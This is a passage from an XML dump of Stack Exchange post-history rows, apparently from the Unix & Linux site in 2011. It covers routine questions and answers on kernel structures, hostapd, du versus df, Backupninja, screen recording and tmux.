&#xD;&#xA;    if [[ ${cnt#${cnt%?}} == [02468] ]] &#xD;&#xA;       then med=$( echo -n &quot;${arr[mid-1]}&quot; |numprocess /+${arr[mid]},%2/ )&#xD;&#xA;       else med=${arr[mid]}; &#xD;&#xA;    fi     #  count   min       max           median        average&#xD;&#xA;    echo -ne &quot;$cnt\t${arr[0]}\t${arr[cnt-1]}\t$med\t&quot;; cat stats.avg &#xD;&#xA;" />
  <row Id="34526" PostHistoryTypeId="5" PostId="13812" RevisionGUID="d971bd89-f973-486d-85e7-8089f7aaa997" CreationDate="2011-05-26T11:34:03.377" UserId="1925" Comment="deleted 7 characters in body" Text="Prior to the Linux 2.6 kernel, `struct task_struct` was present at the end of the kernel stack of each process. There was no `thread_info struct` concept. But in Linux 2.6 kernel, instead of `task_struct` being placed at the end of the kernel stack for the process, the `thread_info struct` is placed at the end. This thread_info struct contains a pointer to the `task_struct` structure.&#xD;&#xA;&#xD;&#xA;What was the need for `thread_info` structure to be introduced ?. We could have accessed the `task_struct` structure using the `stack pointer` directly if `task_struct` was placed at the end of the kernel stack of the process.&#xD;&#xA;&#xD;&#xA;In 2.6 Kernel, `task_struct` is dynamically allocated using `slab_allocator`. Prior to 2.6 Kernel, was it statically allocated?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34527" PostHistoryTypeId="5" PostId="13819" RevisionGUID="0412658a-2eaa-463f-927b-f077d0499980" CreationDate="2011-05-26T11:37:12.017" UserId="1925" Comment="Fixed English and formatted for clarity." Text="I'm using FreeBSD 8.0 and trying to get data out of local mdb file using php and `odbc_*` functions.&#xD;&#xA;&#xD;&#xA;Why does [the port][1] when `make install`'ed not create the `libmdbodbc.so` library that is needed for unixODBC to connect to .mdb file?&#xD;&#xA;&#xD;&#xA;The only libraries that are installed are these:&#xD;&#xA;&#xD;&#xA;    /usr/local/lib/libmdb.so&#xD;&#xA;    /usr/local/lib/libmdbsql.so&#xD;&#xA;&#xD;&#xA;Why does everyone else get `libmdbodbc.so` from `mdbtools`, but when I compile/install it, I don't have it?&#xD;&#xA;&#xD;&#xA;Any way, if you have FreeBSD and you have this file, can you please &quot;drop&quot; it in some storage and give me a link? If you have any other solutions for connection to MS Access MDB files, please, give me some...&#xD;&#xA;&#xD;&#xA;PS: That library was also not in mdbtools-0.6pre1 version installation.&#xD;&#xA;&#xD;&#xA;[Related question on Stack Overflow][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freshports.org/databases/mdbtools/ &quot;mdbtools port&quot;&#xD;&#xA;  [2]: http://stackoverflow.com/questions/6072883/connect-to-ms-access-remote-mdb-file-from-php-on-linux/6099229" />
  <row Id="34528" PostHistoryTypeId="2" PostId="13823" RevisionGUID="415985f4-4a28-45db-a79b-86e48b3f2d11" CreationDate="2011-05-26T11:42:52.793" UserId="6909" Text="I want to create a home file server using my old desktop. I plan on using Arch Linux for this as I'm familiar with it. The desktop has 2 hard drives - the old 20gb one &amp; a new 1TB hdd. I plan on using the 1tb hdd for keeping all my files &amp; the 20gb one to install Arch &amp; keeping the system files. Is this a good approach?&#xD;&#xA;Also any advice or any do's &amp; don'ts for making a home file server?&#xD;&#xA;" />
  <row Id="34529" PostHistoryTypeId="1" PostId="13823" RevisionGUID="415985f4-4a28-45db-a79b-86e48b3f2d11" CreationDate="2011-05-26T11:42:52.793" UserId="6909" Text="Building a home file server using Arch Linux" />
  <row Id="34530" PostHistoryTypeId="3" PostId="13823" RevisionGUID="415985f4-4a28-45db-a79b-86e48b3f2d11" CreationDate="2011-05-26T11:42:52.793" UserId="6909" Text="éarchölinuxàéfilesàéserveràéhomeà" />
  <row Id="34531" PostHistoryTypeId="2" PostId="13824" RevisionGUID="aab0b726-b900-4488-872a-af556c0cbf80" CreationDate="2011-05-26T11:53:58.653" UserId="2644" Text="Here is something that should let you `cd` back where you were (using Bash), since not forgetting to do so seems to be the purpose of the question:&#xD;&#xA;&#xD;&#xA;    # Save where you are.&#xD;&#xA;    pushd .&#xD;&#xA;    &#xD;&#xA;    cd /path/to/dir/that/needs/to/be/current/dir&#xD;&#xA;    run-your-command&#xD;&#xA;    &#xD;&#xA;    # Get back where you were at the beginning.&#xD;&#xA;    popd" />
  <row Id="34532" PostHistoryTypeId="2" PostId="13825" RevisionGUID="eea75370-39ef-4b42-a6a2-69e6b4382852" CreationDate="2011-05-26T11:54:50.010" UserId="1925" Text="That sounds fine to me.&#xD;&#xA;&#xD;&#xA;Do look into using LVM for the partition on your big drive. If you ever add a second drive or migrate to a larger one it will make your space much easier to manage. The thing to do then is mount that LVM volume on /home. Everything will pretty much take care of itself then.&#xD;&#xA;&#xD;&#xA;If you setup LVM later instead of as part of the installation, make sure you move everything from /home to your volume before your mount it on home or you will loose the home directory for any users setup as part of the initial install." />
  <row Id="34533" PostHistoryTypeId="5" PostId="13824" RevisionGUID="9dc5432b-54b9-4eee-8d6c-48639176c08a" CreationDate="2011-05-26T12:11:01.250" UserId="2644" Comment="added 63 characters in body" Text="Here is something that should let you `cd` back where you were (using Bash), since not forgetting to do so seems to be the purpose of the question:&#xD;&#xA;&#xD;&#xA;    # Save where you are and cd to other dir&#xD;&#xA;    pushd /path/to/dir/that/needs/to/be/current/dir&#xD;&#xA;&#xD;&#xA;    run-your-command&#xD;&#xA;    &#xD;&#xA;    # Get back where you were at the beginning.&#xD;&#xA;    popd&#xD;&#xA;&#xD;&#xA;(EDIT: slightly shorter version, thanks to @Random832)" />
  <row Id="34534" PostHistoryTypeId="5" PostId="13801" RevisionGUID="58ad39fb-0f5a-420b-bdd1-eb67d74da190" CreationDate="2011-05-26T12:11:12.453" UserId="1925" Comment="deleted 145 characters in body" Text="I am unsure of the technical name of the thing so please help me to fill the gaps. So basically, I photograph a paper with text and numbers. How can I change that image to plain text that I could read in `vi`? &#xD;&#xA;&#xD;&#xA;### Example:&#xD;&#xA;&#xD;&#xA;Suppose an image is of a colored document or it has nice decorations. Like I would like to change my birthday cards to files that I could easily manage with my favorite text editor, not just images, how can I do that? Is there some program that could keep the layouting, filling gaps with ASCII art or something like that? Like flower in the document would be a flower in ASCII, text in alphabets and numbers in standard latin numbers 1234567890.&#xD;&#xA;&#xD;&#xA;  [1]: http://photo.stackexchange.com/questions/12417/how-can-i-change-a-photo-in-png-containing-numbers-and-alphabets-to-plain-text" />
  <row Id="34535" PostHistoryTypeId="25" PostId="13819" RevisionGUID="80c0a69f-0970-47b6-862d-8ffbb8ee907c" CreationDate="2011-05-26T12:13:09.677" Comment="http://twitter.com/#!/StackUnix/status/73723342338801664" />
  <row Id="34536" PostHistoryTypeId="2" PostId="13826" RevisionGUID="6a1dc11f-a309-49d3-8108-901e7b502cb7" CreationDate="2011-05-26T12:27:02.800" UserId="3038" Text="For posterity sake, the best way to create an AP is using the `hostapd` program, which is available [here]() and prepackaged in many distros.&#xD;&#xA;&#xD;&#xA;In Debian or derivatives, the packages comes with a file `/usr/share/doc/hostapd/examples/hostapd.conf.gz`, which is an example configuration. You need to copy the file to a different directory (your `$HOME`, for example), decompress it (`gunzip hostapd.conf.gz`) and then edit the `hostapd.conf` file with any text editor.&#xD;&#xA;&#xD;&#xA;Search for the line which says `WPA/IEEE 802.11i configuration`. The file is well docummented, but for a simple WPA2 AP you just need to:&#xD;&#xA;&#xD;&#xA;- change the line `interface=wlan0` to match your card's interface&#xD;&#xA;- (optional) change the line `ssid=test` to `ssid=NetworkNameOfChoice`&#xD;&#xA;- uncomment the line `#wpa=1` to `wpa=1`&#xD;&#xA;- uncomment the line which says `#wpa_passphrase=secret passphrase` and change the passphrase.&#xD;&#xA;&#xD;&#xA;Save the file and then on a terminal run `sudo ifconfig wlan0 192.168.3.1` (replacing `wlan0` with your card's interface) and `sudo hostapd hostapd.conf`. A new network should appear with the chosen name (or 'test' if you didn't change it).&#xD;&#xA;&#xD;&#xA;(Note: the network will let anyone with the right passphrase connect, but it won't give it an IP address. If you want that you should ask how to set up a testing dhcp server)." />
  <row Id="34537" PostHistoryTypeId="2" PostId="13827" RevisionGUID="ca9ec0e9-e39b-49d1-8d69-90bdaf5156b7" CreationDate="2011-05-26T12:36:42.470" UserId="6921" Text="I think it's a pretty normal approach, only that I maybe used Debian for that purpose (being die-hard desktop Arch user).&#xD;&#xA;&#xD;&#xA;Anyway, having archwiki, you should set up your server pretty easy and probably add some extra features like ftp or dlna or even a git repo for ypur hobby projects.&#xD;&#xA;&#xD;&#xA;If it's an *old* desktop, consider taking care of coolers (maybe replacing them) so that they run noiseless and make sure the place where you are going to keep it is fire safe just in case." />
  <row Id="34538" PostHistoryTypeId="5" PostId="13817" RevisionGUID="db957927-886a-472a-b3e6-336f29664cbb" CreationDate="2011-05-26T12:50:47.757" UserId="2567" Comment="clarified my answer" Text="One aspect is that -Os will try to give you a smaller application, and since it is smaller *sometimes* it will execute faster since there is less code to execute. " />
  <row Id="34539" PostHistoryTypeId="17" PostId="13828" RevisionGUID="f484d07a-9579-4a24-86de-a5b0cfd84907" CreationDate="2011-05-26T12:51:25.127" UserId="-1" Comment="from http://stackoverflow.com/questions/6135466/linux-free-disk-space-confusion" Text="" />
  <row Id="34540" PostHistoryTypeId="17" PostId="13829" RevisionGUID="185b2256-06a1-45d7-b857-260946c7f364" CreationDate="2011-05-26T12:51:25.127" UserId="-1" Comment="from http://stackoverflow.com/questions/6135466/linux-free-disk-space-confusion" Text="" />
  <row Id="34541" PostHistoryTypeId="2" PostId="13829" RevisionGUID="055472eb-b14d-42bd-954e-82f8f76e59c1" CreationDate="2011-05-26T11:39:03.137" UserDisplayName="Xaerxess" Text="That's because `du` and `df` measure different things. &#xD;&#xA;&#xD;&#xA;`man du` says:&#xD;&#xA;&#xD;&#xA;&gt; du - estimate **file space usage** (...) Summarize **disk usage of each FILE**, recursively for directories.&#xD;&#xA;&#xD;&#xA;and `man df`:&#xD;&#xA;&#xD;&#xA;&gt; df - report **file system disk space usage** &#xD;&#xA;&#xD;&#xA;File system has inode tables, journals etc. which are not summarized by `du`. It isn't only Linux-specific, but rather UNIX-specific (or even UNIX-filesystem-specific). Because UNIX's processes uses files to everything (I'm simplifying) i.e. writing to log files, there could be also [open file descriptor](http://www.cyberciti.biz/tips/freebsd-why-command-df-and-du-reports-different-output.html) problem in this case causing different `du` and `df` outputs." />
  <row Id="34542" PostHistoryTypeId="2" PostId="13828" RevisionGUID="94bdc7dc-e69a-49c5-bb7c-56a99cc92f34" CreationDate="2011-05-26T08:04:18.720" UserDisplayName="user767034" Text="I used du to list all folders and sort by size, the results simply doesn't add up to how much disk space is used(using df). There's about 20G in discrepency, why?&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[root@xxx lib]# du --max-depth=1 -h /| sort -n -r&#xD;&#xA;310M	/lib&#xD;&#xA;123M	/root&#xD;&#xA;96K	/dev&#xD;&#xA;88M	/etc&#xD;&#xA;75G	/&#xD;&#xA;73G	/var&#xD;&#xA;30M	/sbin&#xD;&#xA;20M	/boot&#xD;&#xA;20K	/tmp&#xD;&#xA;18M	/lib64&#xD;&#xA;16K	/mnt&#xD;&#xA;16K	/lost+found&#xD;&#xA;12K	/home&#xD;&#xA;8.0K	/srv&#xD;&#xA;8.0K	/selinux&#xD;&#xA;8.0K	/opt&#xD;&#xA;8.0K	/misc&#xD;&#xA;8.0K	/media&#xD;&#xA;7.0M	/bin&#xD;&#xA;1.2G	/usr&#xD;&#xA;0	/sys&#xD;&#xA;0	/proc&#xD;&#xA;[root@xxx lib]# df -h&#xD;&#xA;Filesystem            Size  Used Avail Use% Mounted on&#xD;&#xA;/dev/mapper/VolGroup00-LogVol00&#xD;&#xA;                      298G   94G  189G  34% /&#xD;&#xA;/dev/sda1              99M   26M   69M  28% /boot&#xD;&#xA;tmpfs                 2.0G     0  2.0G   0% /dev/shm&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="34543" PostHistoryTypeId="1" PostId="13828" RevisionGUID="94bdc7dc-e69a-49c5-bb7c-56a99cc92f34" CreationDate="2011-05-26T08:04:18.720" UserDisplayName="user767034" Text="linux free disk space confusion" />
  <row Id="34544" PostHistoryTypeId="3" PostId="13828" RevisionGUID="94bdc7dc-e69a-49c5-bb7c-56a99cc92f34" CreationDate="2011-05-26T08:04:18.720" UserDisplayName="user767034" Text="élinuxà" />
  <row Id="34545" PostHistoryTypeId="2" PostId="13830" RevisionGUID="269643b4-f23e-4d87-9cdf-3ebc98f230a2" CreationDate="2011-05-26T12:53:51.637" UserId="1925" Text="[Gilles correctly points out][1] the theoretical problems with doing this and notes that there are no current implementations.&#xD;&#xA;&#xD;&#xA;The exception would be if you used fixed sizes storage devices AND you are ok with mounting the whole drive while the **virtual machine is turned off**. In that case [this bash script][2] will allow you to mount the VDI disk image file as a drive. You will find lots of information the topic of mounting VDI disk images.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13786/virtualbox-mounting-guest-directory-on-host-computer/13793#13793&#xD;&#xA;  [2]: http://www.mat.uniroma1.it/~caminati/mount_vdi.html" />
  <row Id="34547" PostHistoryTypeId="6" PostId="13800" RevisionGUID="99232e2e-c5d0-4e1b-b350-32ab355d97ba" CreationDate="2011-05-26T13:09:30.770" UserId="1952" Comment="+memory tag" Text="écompilingàémemoryàécàégccà" />
  <row Id="34548" PostHistoryTypeId="24" PostId="13800" RevisionGUID="99232e2e-c5d0-4e1b-b350-32ab355d97ba" CreationDate="2011-05-26T13:09:30.770" Comment="Proposed by 1952 approved by 73 edit id of 394" />
  <row Id="34549" PostHistoryTypeId="2" PostId="13831" RevisionGUID="95d331d7-e2d7-49d2-aa58-4c64046f6e25" CreationDate="2011-05-26T13:15:51.923" UserId="1835" Text="As Kim says, the resulting binary is smaller, so the stack memory usage will be smaller too.&#xD;&#xA;&#xD;&#xA;It might also be faster than some other optimisation flags, because more of the program will fit into the CPU caches.  That's one reason it has become more popular of late." />
  <row Id="34550" PostHistoryTypeId="2" PostId="13832" RevisionGUID="57c98e74-8ef3-4c32-8e2e-f3aa8ecb9368" CreationDate="2011-05-26T13:25:34.437" UserId="7799" Text="I have recently installed on a Debian squeeze_64 server the **Backupninja** and **Duplicity** utilities. My goal is to backup `/foo/bar/*` to `/desti/nation/` with full backup once a week and differentially once a day (say, sunday 01:00 the full and 01:00 daily). `/desti/nation/` is a mounted nfs directory from `10.0.0.1:/qwe/rty`.&#xD;&#xA;&#xD;&#xA;&lt;code&gt;root@toor:/etc/backup.d# ls&lt;br&gt;&#xD;&#xA;10-full.dup  15-incr.dup&lt;br&gt;&#xD;&#xA;root@toor:/etc/backup.d# cat *&lt;br&gt;&#xD;&#xA;options = --no-encryption --dry-run --verbosity 9&lt;br&gt;&#xD;&#xA;testconnect=yes&lt;br&gt;&#xD;&#xA;[source]&lt;br&gt;&#xD;&#xA;include=/foo/bar/&lt;br&gt;&#xD;&#xA;[dest]&lt;br&gt;&#xD;&#xA;incremental=no&lt;br&gt;&#xD;&#xA;increments=0&lt;br&gt;&#xD;&#xA;keep=60&lt;br&gt;&#xD;&#xA;desturl = file:///desti/nation&lt;br&gt;&#xD;&#xA;&#xD;&#xA;options = --no-encryption --dry-run --verbosity 9&lt;br&gt;&#xD;&#xA;testconnect=yes&lt;br&gt;&#xD;&#xA;[source]&lt;br&gt;&#xD;&#xA;include=/foo/bar/&lt;br&gt;&#xD;&#xA;[dest]&lt;br&gt;&#xD;&#xA;incremental=yes&lt;br&gt;&#xD;&#xA;increments=7&lt;br&gt;&#xD;&#xA;keep=60&lt;br&gt;&#xD;&#xA;desturl = file:///desti/nation&lt;br&gt;&#xD;&#xA;root@toor:/etc/backup.d# backupninja --debug --test --now&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;The output is fulfilled with boring debug messages, but it contains the following:&#xD;&#xA;&#xD;&#xA;&lt;code&gt;Info: &gt;&gt;&gt;&gt; starting action /etc/backup.d/10-full.dup (because of --now)&#xD;&#xA;Debug: yes&#xD;&#xA;Fatal: The password option must be set.&#xD;&#xA;Fatal: &lt;&lt;&lt;&lt; finished action /etc/backup.d/10-full.dup: FAILED&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;And the same for 15-incr.dup, respectively.&#xD;&#xA;&#xD;&#xA;&lt;code&gt;Info: FINISHED: 2 actions run. 2 fatal. 0 error. 0 warning.&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;is the final line. Well, I configured it to work **without** gpg and any kind of authorization, but it still needs a password. What is my fault?" />
  <row Id="34551" PostHistoryTypeId="1" PostId="13832" RevisionGUID="57c98e74-8ef3-4c32-8e2e-f3aa8ecb9368" CreationDate="2011-05-26T13:25:34.437" UserId="7799" Text="Backupninja + Duplicity problem" />
  <row Id="34552" PostHistoryTypeId="3" PostId="13832" RevisionGUID="57c98e74-8ef3-4c32-8e2e-f3aa8ecb9368" CreationDate="2011-05-26T13:25:34.437" UserId="7799" Text="ébackupàépasswordàégpgà" />
  <row Id="34553" PostHistoryTypeId="2" PostId="13833" RevisionGUID="46e5ab0d-1ebe-4ea7-a210-3e7ba0891bcf" CreationDate="2011-05-26T13:45:59.747" UserId="916" Text="If you're looking for strictly offline protection, then something like an auto-mounted encrypted partition should do the trick. I see you're using `apt-get`, so there's a fair chance you're on Ubuntu. In that case, it might interest you to know that [Ubuntu has encryption as an option during installation][1]. If you're using Debian, here's an article I found that covers [How to set up an encrypted filesystem in several easy steps][2].&#xD;&#xA;&#xD;&#xA;[1]: http://ubuntu-tutorials.com/2007/10/09/ubuntu-710-gutsy-supporting-install-time-encryption/&#xD;&#xA;[2]: http://www.debian-administration.org/articles/469" />
  <row Id="34554" PostHistoryTypeId="17" PostId="13834" RevisionGUID="7fa0030d-b25c-4961-b541-90c1ae182f69" CreationDate="2011-05-26T13:51:17.127" UserId="-1" Comment="from http://stackoverflow.com/questions/3093753/screen-recording-in-x-windows-system" Text="" />
  <row Id="34555" PostHistoryTypeId="17" PostId="13835" RevisionGUID="1e13e89c-79e3-4fe1-be86-c30e545678f0" CreationDate="2011-05-26T13:51:17.127" UserId="-1" Comment="from http://stackoverflow.com/questions/3093753/screen-recording-in-x-windows-system" Text="" />
  <row Id="34556" PostHistoryTypeId="17" PostId="13836" RevisionGUID="71da92f9-8fd2-4175-8bba-d8880842a9df" CreationDate="2011-05-26T13:51:17.127" UserId="-1" Comment="from http://stackoverflow.com/questions/3093753/screen-recording-in-x-windows-system" Text="" />
  <row Id="34557" PostHistoryTypeId="17" PostId="13837" RevisionGUID="46bfd162-f1d1-41db-b128-e86364039439" CreationDate="2011-05-26T13:51:17.127" UserId="-1" Comment="from http://stackoverflow.com/questions/3093753/screen-recording-in-x-windows-system" Text="" />
  <row Id="34558" PostHistoryTypeId="17" PostId="13838" RevisionGUID="6d7da81c-954d-4263-989a-0e2e6f6e71bf" CreationDate="2011-05-26T13:51:17.127" UserId="-1" Comment="from http://stackoverflow.com/questions/3093753/screen-recording-in-x-windows-system" Text="" />
  <row Id="34559" PostHistoryTypeId="17" PostId="13839" RevisionGUID="79210d8e-ff0e-4a2b-9c22-bd6c8f158a8f" CreationDate="2011-05-26T13:51:17.127" UserId="-1" Comment="from http://stackoverflow.com/questions/3093753/screen-recording-in-x-windows-system" Text="" />
  <row Id="34560" PostHistoryTypeId="2" PostId="13835" RevisionGUID="802fb23f-86db-4ea0-9aec-8a4131a384f5" CreationDate="2010-06-22T13:54:57.183" UserDisplayName="Dave" Text="You could try [xvidcap][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/xvidcap/" />
  <row Id="34561" PostHistoryTypeId="2" PostId="13836" RevisionGUID="5914011e-c6d4-4a6f-bd04-f8ab7802deec" CreationDate="2010-06-22T14:56:40.187" UserId="396" Text="What about a VNC based solution? Start a VNC session (via Xvnc or the builtin gnome/kde VNC tools). Then use [vnc2flv][1], or the older vncrec or vnc2swf.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unixuser.org/~euske/python/vnc2flv/index.html" />
  <row Id="34562" PostHistoryTypeId="2" PostId="13837" RevisionGUID="4ccfae3d-d433-4549-881f-d2c46f592bf0" CreationDate="2010-08-12T13:27:57.993" UserDisplayName="kazanaki" Text="http://live.gnome.org/Istanbul&#xD;&#xA;&#xD;&#xA; - Graphical &#xD;&#xA; - Friendly &#xD;&#xA; - Complete&#xD;&#xA;&#xD;&#xA; " />
  <row Id="34563" PostHistoryTypeId="2" PostId="13838" RevisionGUID="d564f924-88cf-4d18-92e4-f9c9bed27b63" CreationDate="2010-08-31T22:27:59.380" UserDisplayName="tmsilver" Text="Another alternative is the open-source Wink ([http://www.debugmode.com/wink/][1]). It is nowhere near as functional as Camtasia, but it runs on Windows and Linux. I have used it to create some small recordings, and it works reasonably well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debugmode.com/wink/" />
  <row Id="34564" PostHistoryTypeId="2" PostId="13839" RevisionGUID="a8a7c607-3ecc-4cde-9740-d5ac9a599d86" CreationDate="2010-11-04T02:36:06.383" UserDisplayName="BenSherman" Text="VMWare also includes screen recording capabilities. Are you working with a virtualized system?" />
  <row Id="34565" PostHistoryTypeId="2" PostId="13834" RevisionGUID="af43a673-e1a2-4300-8839-8351e87dc88e" CreationDate="2010-06-22T13:52:26.780" UserDisplayName="evil.coder" Text="Hi everyone, can anybody tell me how to record screen activities for specified amount of time. Look i have to choose for x only. I know xwd is there to dump screen, can it be extended to record the screen. No fancy debian tools and image magick utilities please." />
  <row Id="34566" PostHistoryTypeId="1" PostId="13834" RevisionGUID="af43a673-e1a2-4300-8839-8351e87dc88e" CreationDate="2010-06-22T13:52:26.780" UserDisplayName="evil.coder" Text="screen recording in x windows system." />
  <row Id="34567" PostHistoryTypeId="3" PostId="13834" RevisionGUID="af43a673-e1a2-4300-8839-8351e87dc88e" CreationDate="2010-06-22T13:52:26.780" UserDisplayName="evil.coder" Text="élinuxàéx11à" />
  <row Id="34568" PostHistoryTypeId="5" PostId="13832" RevisionGUID="8ccd7c11-a300-4af6-b9d6-4b2f6355b1dc" CreationDate="2011-05-26T13:52:33.890" UserId="7799" Comment="updated" Text="I have recently installed on a Debian squeeze_64 server the **Backupninja** and **Duplicity** utilities. My goal is to backup `/foo/bar/*` to `/desti/nation/` with full backup once a week and differentially once a day (say, sunday 01:00 the full and 01:00 daily). `/desti/nation/` is a mounted nfs directory from `10.0.0.1:/qwe/rty`.&#xD;&#xA;&#xD;&#xA;&lt;code&gt;root@toor:/etc/backup.d# ls&lt;br&gt;&#xD;&#xA;10-full.dup  15-incr.dup&lt;br&gt;&#xD;&#xA;root@toor:/etc/backup.d# cat *&lt;br&gt;&#xD;&#xA;options = --no-encryption --dry-run --verbosity 9&lt;br&gt;&#xD;&#xA;testconnect=yes&lt;br&gt;&#xD;&#xA;[source]&lt;br&gt;&#xD;&#xA;include=/foo/bar/&lt;br&gt;&#xD;&#xA;[dest]&lt;br&gt;&#xD;&#xA;incremental=no&lt;br&gt;&#xD;&#xA;increments=0&lt;br&gt;&#xD;&#xA;keep=60&lt;br&gt;&#xD;&#xA;desturl = file:///desti/nation&lt;br&gt;&#xD;&#xA;&#xD;&#xA;options = --no-encryption --dry-run --verbosity 9&lt;br&gt;&#xD;&#xA;testconnect=yes&lt;br&gt;&#xD;&#xA;[source]&lt;br&gt;&#xD;&#xA;include=/foo/bar/&lt;br&gt;&#xD;&#xA;[dest]&lt;br&gt;&#xD;&#xA;incremental=yes&lt;br&gt;&#xD;&#xA;increments=7&lt;br&gt;&#xD;&#xA;keep=60&lt;br&gt;&#xD;&#xA;desturl = file:///desti/nation&lt;br&gt;&#xD;&#xA;root@toor:/etc/backup.d# backupninja --debug --test --now&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;The output is fulfilled with boring debug messages, but it contains the following:&#xD;&#xA;&#xD;&#xA;&lt;code&gt;Info: &gt;&gt;&gt;&gt; starting action /etc/backup.d/10-full.dup (because of --now)&#xD;&#xA;Debug: yes&#xD;&#xA;Fatal: The password option must be set.&#xD;&#xA;Fatal: &lt;&lt;&lt;&lt; finished action /etc/backup.d/10-full.dup: FAILED&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;And the same for 15-incr.dup, respectively.&#xD;&#xA;&#xD;&#xA;&lt;code&gt;Info: FINISHED: 2 actions run. 2 fatal. 0 error. 0 warning.&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;is the final line. Well, I configured it to work **without** gpg and any kind of authorization, but it still needs a password. What is my fault?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Added the following lines to the files:&#xD;&#xA;&#xD;&#xA;&lt;code&gt;&#xD;&#xA;[gpg]&lt;br&gt;&#xD;&#xA;sign=no&lt;br&gt;&#xD;&#xA;encryptkey=&lt;br&gt;&#xD;&#xA;signkey=&lt;br&gt;&#xD;&#xA;password=&#xD;&#xA;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;but the problem is exactly the same." />
  <row Id="34569" PostHistoryTypeId="5" PostId="13834" RevisionGUID="ddcfef98-a8c2-4163-a60d-cbf2b4cc4908" CreationDate="2011-05-26T14:10:45.160" UserId="73" Comment="deleted 22 characters in body; edited title" Text="How can I record all activity on the screen for a certain amount of time? I know about tools like `xwd` that capture a still image; can they be extended to record video? I'd prefer not using any fancy debian tools or ImageMagick utilities&#xD;&#xA;" />
  <row Id="34570" PostHistoryTypeId="4" PostId="13834" RevisionGUID="ddcfef98-a8c2-4163-a60d-cbf2b4cc4908" CreationDate="2011-05-26T14:10:45.160" UserId="73" Comment="deleted 22 characters in body; edited title" Text="Record screen in X" />
  <row Id="34571" PostHistoryTypeId="5" PostId="13832" RevisionGUID="1f5fb5e7-eb99-4a3b-a88c-491f333a0fb7" CreationDate="2011-05-26T14:12:51.557" UserId="73" Comment="deleted 28 characters in body" Text="I have recently installed on a Debian squeeze_64 server the **Backupninja** and **Duplicity** utilities. My goal is to backup `/foo/bar/*` to `/desti/nation/` with full backup once a week and differentially once a day (say, sunday 01:00 the full and 01:00 daily). `/desti/nation/` is a mounted nfs directory from `10.0.0.1:/qwe/rty`.&#xD;&#xA;&#xD;&#xA;    root@toor:/etc/backup.d# ls&#xD;&#xA;    10-full.dup  15-incr.dup&#xD;&#xA;    root@toor:/etc/backup.d# cat *&#xD;&#xA;    options = --no-encryption --dry-run --verbosity 9&#xD;&#xA;    testconnect=yes&#xD;&#xA;    [source]&#xD;&#xA;    include=/foo/bar/&#xD;&#xA;    [dest]&#xD;&#xA;    incremental=no&#xD;&#xA;    increments=0&#xD;&#xA;    keep=60&#xD;&#xA;    desturl = file:///desti/nation&#xD;&#xA;    &#xD;&#xA;    options = --no-encryption --dry-run --verbosity 9&#xD;&#xA;    testconnect=yes&#xD;&#xA;    [source]&#xD;&#xA;    include=/foo/bar/&#xD;&#xA;    [dest]&#xD;&#xA;    incremental=yes&#xD;&#xA;    increments=7&#xD;&#xA;    keep=60&#xD;&#xA;    desturl = file:///desti/nation&#xD;&#xA;    root@toor:/etc/backup.d# backupninja --debug --test --now&#xD;&#xA;&#xD;&#xA;The output is fulfilled with boring debug messages, but it contains the following:&#xD;&#xA;&#xD;&#xA;&gt; Info: &gt;&gt;&gt;&gt; starting action /etc/backup.d/10-full.dup (because of --now)  &#xD;&#xA;&gt; Debug: yes  &#xD;&#xA;&gt; Fatal: The password option must be set.  &#xD;&#xA;&gt; Fatal: &lt;&lt;&lt;&lt; finished action /etc/backup.d/10-full.dup: FAILED&#xD;&#xA;&#xD;&#xA;And the same for 15-incr.dup, respectively.&#xD;&#xA;&#xD;&#xA;&gt; Info: FINISHED: 2 actions run. 2 fatal. 0 error. 0 warning.&#xD;&#xA;&#xD;&#xA;is the final line. Well, I configured it to work *without* gpg and any kind of authorization, but it still needs a password. What is my fault?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Added the following lines to the files:&#xD;&#xA;&#xD;&#xA;    [gpg]&#xD;&#xA;    sign=no&#xD;&#xA;    encryptkey=&#xD;&#xA;    signkey=&#xD;&#xA;    password=&#xD;&#xA;&#xD;&#xA;but the problem is exactly the same.&#xD;&#xA;" />
  <row Id="34572" PostHistoryTypeId="5" PostId="13823" RevisionGUID="2a6ab6d0-6af1-4234-9ea6-3e24e811a6ee" CreationDate="2011-05-26T14:13:37.627" UserId="73" Comment="deleted 69 characters in body" Text="I want to create a home file server using my old desktop. I plan on using Arch Linux for this as I'm familiar with it. The desktop has 2 hard drives - the old 20gb one &amp; a new 1TB hdd. I plan on using the 1tb hdd for keeping all my files &amp; the 20gb one to install Arch &amp; keeping the system files. Is this a good approach?&#xD;&#xA;" />
  <row Id="34573" PostHistoryTypeId="25" PostId="13832" RevisionGUID="de85fe89-7d4a-4591-b7e6-a24234254c73" CreationDate="2011-05-26T15:13:10.093" Comment="http://twitter.com/#!/StackUnix/status/73768642600378368" />
  <row Id="34574" PostHistoryTypeId="2" PostId="13840" RevisionGUID="1fe09274-06f4-4699-91c4-04345acae5d8" CreationDate="2011-05-26T15:24:36.693" UserId="6973" Text="tmux and screen let you run different processes (e.g. vim, a bash script, mysql, psql, etc) in different virtual windows. But traditional Unix job control (using CTRL-z, fg, bg, and jobs) seem to give you some of the same functionality.&#xD;&#xA;&#xD;&#xA;Are there any advantages of multitasking using traditional job control over the newer ways via tmux and screen?" />
  <row Id="34575" PostHistoryTypeId="1" PostId="13840" RevisionGUID="1fe09274-06f4-4699-91c4-04345acae5d8" CreationDate="2011-05-26T15:24:36.693" UserId="6973" Text="What are the virtues of multitasking with traditional job control vs Tmux/Screen?" />
